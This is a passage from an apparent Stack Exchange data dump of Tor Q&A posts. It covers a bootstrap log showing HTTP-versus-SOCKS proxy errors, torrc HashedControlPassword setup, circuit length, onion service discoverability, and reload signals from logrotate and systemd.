[***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] Bridge [***Masked***]Name has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([***Masked***]IP:PORT) based on the configured Bridge address.&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] Bridge [***Masked***]Name has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([***Masked***]IP:PORT) based on the configured Bridge address.&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] Bridge [***Masked***]Name has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([***Masked***]IP:PORT) based on the configured Bridge address.&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] new bridge descriptor [***Masked***]Name (cached): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:34.000 [notice] Delaying directory fetches: Pluggable transport proxies still configuring&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:41:44.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Sep 28 22:41:44.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Sep 28 22:41:45.000 [notice] We'd like to launch a circuit to handle a connection, but we already have 32 general-purpose client circuits pending. Waiting until some finish.&#xA;Sep 28 22:41:46.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Sep 28 22:41:46.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:47.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:47.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:41:47.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:47.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:47.000 [notice] Bridge [***Masked***]Name has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([***Masked***]IP:PORT) based on the configured Bridge address.&#xA;Sep 28 22:41:47.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:48.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:48.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Sep 28 22:41:48.000 [notice] Bootstrapped 100%: Done&#xA;Sep 28 22:41:48.000 [notice] Bridge [***Masked***]Name has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address ([***Masked***]IP:PORT) based on the configured Bridge address.&#xA;Sep 28 22:41:48.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:48.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:48.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:41:49.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:49.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:49.000 [notice] new bridge descriptor [***Masked***]Name (fresh): $[***Masked***]Text~[***Masked***]Name at [***Masked***]IP&#xA;Sep 28 22:41:49.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:41:51.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:06.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:06.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:07.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:08.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:08.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:26.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:42:28.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:28.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:29.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:29.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:42:29.000 [warn] Proxy Client: unable to connect to [***Masked***]IP:PORT (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;Sep 28 22:43:23.000 [warn] Socks version 80 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:44:07.000 [warn] Socks version 80 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:44:07.000 [warn] Socks version 80 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:44:34.000 [warn] Socks version 67 not recognized. (Tor is not an http proxy.)&#xA;Sep 28 22:44:39.000 [warn] Socks version 67 not recognized. (Tor is not an http proxy.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19656" LastEditorUserId="31632" LastEditDate="2021-05-25T20:42:05.283" LastActivityDate="2021-05-25T20:42:05.283" Title="Tor Expert Running tor check fails" Tags="|configuration|windows|help|torcheck|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16004" PostTypeId="2" ParentId="16003" CreationDate="2017-10-28T20:13:30.663" Score="1" Body="&lt;p&gt;Not &quot;+SocksPort 9990&quot; but just &quot;SocksPort 9990&quot; - and, according to your logs - it is not fully bootstrapped yet when you're trying to use it - look for a message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 28 22:41:48.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only after this line you can start to use Tor. And - you seem to be using it as a HTTP proxy, but it's a SOCKS one(in the latest alpha they do try to add HTTPS, but I do prefer SOCKS to prevent leaks):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 28 22:41:39.000 [warn] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &quot;FoxyProxy Standart&quot; add-on for your firefox and point all through SOCKS proxy on port 9990 &lt;em&gt;with DNS queries through the SOCKS proxy&lt;/em&gt; - there's a switch or checkbox in proxy settings for it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T20:13:30.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16005" PostTypeId="2" ParentId="15995" CreationDate="2017-10-28T20:24:36.407" Score="1" Body="&lt;p&gt;As simple as it sounds: via TCP tunnel. Tor uses it's routing to make a TCP pipe, triple-encrypted(as the min length of the path is 3), but - after all - as the pipe is made, it is &lt;em&gt;just&lt;/em&gt; a regular TCP/IP pipe, working both sides. So the reply comes back in exactly reverse order, speaking of encryption layers, but via the very same one pipe, it's called a &quot;circuit&quot; or &quot;chain&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T20:24:36.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16006" PostTypeId="2" ParentId="15989" CreationDate="2017-10-28T20:36:55.697" Score="1" Body="&lt;p&gt;Well, first of all - there's &lt;strong&gt;NO&lt;/strong&gt; unbreakable things in this world, everything can be cracked - it's &lt;em&gt;just&lt;/em&gt; a question of resources applied and the time it consume. So - if something is not cracked &lt;strong&gt;yet&lt;/strong&gt;, it only means that nowdays it's too laborious and long to do this. To crack Tor an attacker need to crack &lt;em&gt;in real time&lt;/em&gt; AES cryptography and then triple-use it to decode the traffic. To crack AES is very laborious and no algo doing so is made so far.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T20:36:55.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16007" PostTypeId="2" ParentId="16001" CreationDate="2017-10-28T21:17:48.410" Score="2" Body="&lt;p&gt;No, it's hardcoded inside tor's sources. Setting the circuit length is not as simple as it is spelled: developing this setting I've seen quite a pack of challenges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using statically changed path length has it's uses sometimes, I did the patch for it first and released it &lt;a href=&quot;https://github.com/netsafe/tor-patches/blob/master/tor-route-length.patch&quot; rel=&quot;nofollow noreferrer&quot;&gt;here on GitHub&lt;/a&gt; - but keep in mind, that using it as it is reduces your anonymity: your traffic can be a bit easier to determine, bu yes - it rises the encryption strength due to more layers elaborated&lt;/li&gt;&#xA;&lt;li&gt;Using conditional path length is &lt;strong&gt;not that simple&lt;/strong&gt; on a binary-level, and it has required me to rewrite quite a bunch of Tor's code. This patch will be released later with my solution.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For now - if you need to set the longer path somewhere - you should use Stem or other Tor control protocol clients to construct the custom circuits for your very paricular tasks&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T21:17:48.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16008" PostTypeId="2" ParentId="15870" CreationDate="2017-10-28T22:07:53.250" Score="0" Body="&lt;p&gt;The only place in the chain of &quot;accessing the hidden service&quot; that can be pinponted to the map - is a rendezvouz point, but it can be literally any Tor node, so it's practically useless to perform an action. However, some corellation attacks can be performed to locate a HS host if it's not set up properly. In general - no, there's no chance to pinpoint a HS host itself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T22:07:53.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16009" PostTypeId="2" ParentId="15985" CreationDate="2017-10-28T22:10:41.123" Score="0" Body="&lt;p&gt;that's why the network is called a &quot;dark&quot; web - there's no public lists that are &quot;listing it all&quot;, and there's no mechanism to scan or enumerate all the nodes with HS hosted - in a clearnet you can scan all the IP's to probe for a webserver on an opened ports.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T22:10:41.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16010" PostTypeId="2" ParentId="15901" CreationDate="2017-10-28T23:00:13.710" Score="0" Body="&lt;p&gt;Well, looks like wired connection is censored or &lt;strong&gt;very slow&lt;/strong&gt; while reaching the bridges. You don't need &lt;code&gt;DisableNetwork 0&lt;/code&gt; in most of the cases - it is zero from the very beginning, unlsess explicitly set to 1. Any ARM_XXX message is ARM related, not tor related, so they're not a concern at all. One question to clarify the things - wh do you need a bridges on wired connection? On mobile connection - yes, the reason is quite ubiquitous, but why don't you use direct connection on wired? However, it must work at least faster on wired rather than on mobile even with the same bridges. What the hardware do you have on wired connection? Please attach the data requested - and I'll be glad to help you further!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T23:00:13.710" CommentCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="16012" PostTypeId="2" ParentId="15999" CreationDate="2017-10-28T23:13:29.420" Score="0" Body="&lt;p&gt;first of all, you're using Tor Browser Bundle - there's no Tor v7 nowdays as far as I'm concerned. Second - your connection looks like censored, so use meek pluggable transport and obfs4 - or try also obfs3. Post the resulting logs here, so we'll be able to fix your problem! Don't worry - it can be fixed!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-28T23:13:29.420" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="16013" PostTypeId="1" CreationDate="2017-10-29T06:15:29.007" Score="0" ViewCount="115" Body="&lt;p&gt;I have a Linux VPS.&#xA;I need to go outside and I try to proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;export http_proxy=&quot;http://127.0.0.1:8123&quot;&lt;br&gt;&#xA;export https_proxy=&quot;https://127.0.0.1:8123&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not all agents.&#xA;I have an nginx that needs access to external data.&#xA;How can I set up all agents.&#xA;Go tor or proxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="19661" LastActivityDate="2022-04-08T08:04:35.543" Title="How do Linux global brokers" Tags="|onion-services|anonymity|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16014" PostTypeId="1" AcceptedAnswerId="16015" CreationDate="2017-10-29T22:28:35.103" Score="1" ViewCount="2767" Body="&lt;p&gt;The questions (&lt;a href=&quot;https://tor.stackexchange.com/questions/10158/tor-browser-wont-launch-after-torrc-file-edited-for-hidden-services&quot;&gt;1&lt;/a&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/10158/tor-browser-wont-launch-after-torrc-file-edited-for-hidden-services&quot;&gt;2&lt;/a&gt;) about it are for mac OS. I'm strugling with windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded tor brownser and added that to the torrc file (I want to use it with scrapy)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ControlPort 9051&#xA;    HashedControlPassword password_XYZ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(before I launch the cmd &lt;code&gt;tor --hash-password &quot;password_XYZ&quot;&lt;/code&gt; ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now the brownser doesn't work anymore. &lt;code&gt;Tor unexpectedly exited.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I tried to use the &quot;Tor Expert Bundle on Windows&quot; (comes without brownser) but I did not find any torrc files on it so I don't know how to use it to add the code above).&lt;/p&gt;&#xA;" OwnerUserId="19668" LastActivityDate="2017-10-29T23:11:55.067" Title="windows: Tor browser error after editing torrc file" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16015" PostTypeId="2" ParentId="16014" CreationDate="2017-10-29T23:11:55.067" Score="0" Body="&lt;p&gt;The &lt;code&gt;HashedControlPassword&lt;/code&gt; line is the issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HashedControlPassword password_XYZ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you run &lt;code&gt;tor --hash-password&lt;/code&gt; you should get output like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --hash-password password_XYZ&#xA;16:54C092A84F51545F600F6DEC3CEC93D16DE4C941FE12686CD10B8F4F3E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you want to put the output into the HashedControlPassword torrc line so it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HashedControlPassword 16:54C092A84F51545F600F6DEC3CEC93D16DE4C941FE12686CD10B8F4F3E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Windows, the tor.exe process won't display output properly on the &lt;code&gt;cmd.exe&lt;/code&gt; terminal. A work around for this is to pipe it into &lt;code&gt;more&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor.exe --hash-password password_XYZ | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should then display the output, giving you the hashed password to put into the &lt;code&gt;torrc&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-29T23:11:55.067" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16017" PostTypeId="1" CreationDate="2017-10-30T05:54:06.123" Score="0" ViewCount="490" Body="&lt;p&gt;My question evolves around tor arm the controller used with tor. I hope I'm posting in the correct area as I'm not at all sure where the fault lies; either with Ubuntu or arm. If I'm in the wrong place apologies!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay has been in operation for little better than two weeks. I am new to tor relay. I've experienced the same problem several times. For the most part the relay takes care of itself with me checking it's operation periodically throughout the day. Until it happens.. I lose all Administrative functions with arm. Meanwhile, the relay seemingly continues to function as normal. The only solution I've found so far is to stop tor, and arm and do a hard restart. It's then good again for who knows how long until it happens again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've intentionally left out computer specifics as the computer itself is not the issue. It's software related either arm or Ubuntu OR both. How to sort it out, I am at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help everyone :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adri&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further exploration!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From notices.log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 29 04:31:51.000 [notice] Circuit handshake stats since last time: 90/90 TAP, 1/1 NTor.&#xA;Oct 29 04:31:51.000 [notice] Since startup, we have initiated 0 v1 connections, 0 v2 connections, 0 v3 connections, and 1820 v4 connections; and received 746 v1 connections, 315 v2 connections, 380 v3 connections, and 5426 v4 connections.&#xA;Oct 29 07:35:02.000 [notice] *Received reload signal (hup)*. Reloading config and resetting internal state.&#xA;Oct 29 07:35:02.000 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Oct 29 07:35:02.000 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why am I getting a &quot;reload signal??&quot;&lt;/p&gt;&#xA;" OwnerUserId="19670" LastEditorUserId="9291" LastEditDate="2017-11-03T16:33:49.060" LastActivityDate="2022-04-12T13:08:35.843" Title="Ubuntu 16.4 LTS and arm lockout" Tags="|nyx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16018" PostTypeId="2" ParentId="16017" CreationDate="2017-10-30T12:51:31.353" Score="0" Body="&lt;p&gt;It's a startup scripts that are causing this - they're used to send sighup or even make a full reload if the service is failed to respond or send a heartbeat to systemd, stuff happens. In case of systemd - find tor's unit definition in &lt;code&gt;/etc/systemd&lt;/code&gt; and check these values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TimeoutSec=5m&#xA;Restart=always&#xA;WatchdogSec=3m&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and do &lt;code&gt;systemctl daemon-reload&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-30T12:51:31.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16019" PostTypeId="2" ParentId="16017" CreationDate="2017-10-30T13:19:05.093" Score="0" Body="&lt;p&gt;One source for a reload signal is likely to be the &lt;code&gt;logrotate&lt;/code&gt; daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the script in &lt;code&gt;/etc/logrotate.d/tor&lt;/code&gt; you'll see that part of it's process is calling &lt;code&gt;service tor reload&lt;/code&gt;. This is used to get Tor to append to the newly created log files, after the old ones have been moved to &lt;code&gt;.1&lt;/code&gt;, &lt;code&gt;.2&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't stop Tor from running, but it might interrupt your connection to the control port, simply exiting and restarting &lt;code&gt;arm&lt;/code&gt; should resolve that without restarting Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-30T13:19:05.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
